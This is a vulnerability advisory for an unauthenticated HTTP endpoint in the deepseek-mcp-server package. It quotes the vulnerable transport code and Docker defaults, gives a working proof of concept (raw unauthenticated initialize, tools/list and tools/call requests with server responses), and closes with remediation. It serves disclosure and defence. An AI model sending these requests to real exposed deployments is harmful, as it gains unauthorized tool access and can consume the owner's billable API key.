CVE-2026-55605 — @arikusi/deepseek-mcp-ser…

Summary

The self-hosted HTTP transport of @arikusi/deepseek-mcp-server exposes POST /mcp without any authentication: createMcpExpressApp is called without an authProvider and no middleware guards the route, so any network-reachable client can issue an unauthenticated initialize request and obtain a valid MCP session identifier. In reproduced testing against commit 5e1302171e99, an unauthenticated client was able to initialize a session, enumerate tools, and invoke the local deepseek_sessions tool with no credentials. The same unauthenticated session also exposes deepseek_chat, whose handler uses the server-side DEEPSEEK_API_KEY when self-hosted deployments configure one.

This issue applies to self-hosted HTTP mode, not the separately documented hosted BYOK endpoint in README.md, which expects an Authorization: Bearer ... header. Upstream self-hosted container assets enable HTTP mode by default (Dockerfile) and publish port 3000 (docker-compose.yml).

Affected Code

src/transport-http.ts:17 — createMcpExpressApp called without authProvider; no challenge is issued to incoming requests

export function createHttpApp(serverFactory: () => McpServer) {
  const app = createMcpExpressApp({ host: '0.0.0.0' });

src/transport-http.ts:31 — POST /mcp handler instantiates a full MCP session for any body that satisfies isInitializeRequest, with no preceding auth check

  app.post('/mcp', async (req, res) => {
    const sessionId = req.headers['mcp-session-id'] as string | undefined;

    if (sessionId && transports[sessionId]) {
      await transports[sessionId].handleRequest(req, res, req.body);
      return;
    }

    if (!sessionId && isInitializeRequest(req.body)) {
      const transport = new StreamableHTTPServerTransport({
        sessionIdGenerator: () => randomUUID(),
        onsessioninitialized: (id) => {
          transports[id] = transport;
          console.error(`[DeepSeek MCP] HTTP session initialized: ${id}`);
        },
      });

      const server = serverFactory();
      await server.connect(transport);
      await transport.handleRequest(req, res, req.body);

HTTP client → POST /mcp (no auth middleware) → transport-http.ts:41 (isInitializeRequest branch) → transport-http.ts:57–59 (serverFactory()+connect+handleRequest)

Dockerfile:12-13 — upstream container image defaults to self-hosted HTTP mode

ENV TRANSPORT=http
ENV HTTP_PORT=3000

docker-compose.yml:4-8 — upstream compose file publishes port 3000 and enables HTTP mode

services:
  deepseek-mcp:
    ports:
      - "3000:3000"
    environment:
      - TRANSPORT=http

Proof of Concept

Step 1 — send unauthenticated initialize: server returns HTTP 200 and a live mcp-session-id — proves no credentials are required to establish a session.

python3 poc.py

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc-client","version":"1.0"}}}

HTTP/1.1 200 OK
content-type: text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

event: message
data: {"result":{"protocolVersion":"2024-11-05","capabilities":{"tools":{"listChanged":true},"prompts":{"listChanged":true},"resources":{"listChanged":true}},"serverInfo":{"name":"deepseek-mcp-server","version":"1.7.0"}},"jsonrpc":"2.0","id":1}

Step 2 — send unauthenticated tools/list on the obtained session: server returns the full tool surface (deepseek_chat, deepseek_sessions) — proves tool discovery is reachable without credentials.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: b029fc8f-02cc-4a8c-a0e2-0223cf35b1ba

{"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}

RESULT: PASS — tools/list returned deepseek_chat and deepseek_sessions with no credentials supplied.

Step 3 — send unauthenticated tools/call for the local deepseek_sessions tool on the obtained session: server executes the tool and returns its result with no credentials supplied.

POST /mcp HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Accept: application/json, text/event-stream
mcp-session-id: 6cf58ad1-40cc-4cd4-99a3-f5f198b8bf71

{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"deepseek_sessions","arguments":{"action":"list"}}}

HTTP/1.1 200 OK
content-type: text/event-stream

event: message
data: {"result":{"content":[{"type":"text","text":"No active sessions."}]},"jsonrpc":"2.0","id":2}

Impact

In self-hosted HTTP deployments, any host with network access to port 3000 can establish an authenticated-equivalent MCP session and invoke built-in MCP tools without supplying credentials. This was verified end-to-end for session establishment, tool enumeration, and execution of the local deepseek_sessions tool.

deepseek_chat is exposed through the same unauthenticated MCP session, and its handler routes requests through the server-side DeepSeek client. That means a deployment using a valid server-side DEEPSEEK_API_KEY places billable DeepSeek operations behind an unauthenticated endpoint. However, this report's reproduced PoC used a dummy API key and did not directly validate successful upstream DeepSeek billing or quota consumption.

Remediation

Require authentication in self-hosted HTTP mode before MCP session creation. At minimum, pass an authProvider to createMcpExpressApp at transport-http.ts:17 or place equivalent authentication middleware / a reverse proxy in front of /mcp so unauthenticated clients never reach the initialize branch:

const app = createMcpExpressApp({
  host: '0.0.0.0',
  authProvider,
});

For deployments that only need local access, bind to 127.0.0.1 instead of 0.0.0.0 in both createMcpExpressApp and app.listen (transport-http.ts:17 and :107) as a defence-in-depth measure. Upstream docker-compose.yml currently publishes 3000:3000; changing that to 127.0.0.1:3000:3000 would reduce inadvertent exposure on multi-user or server hosts.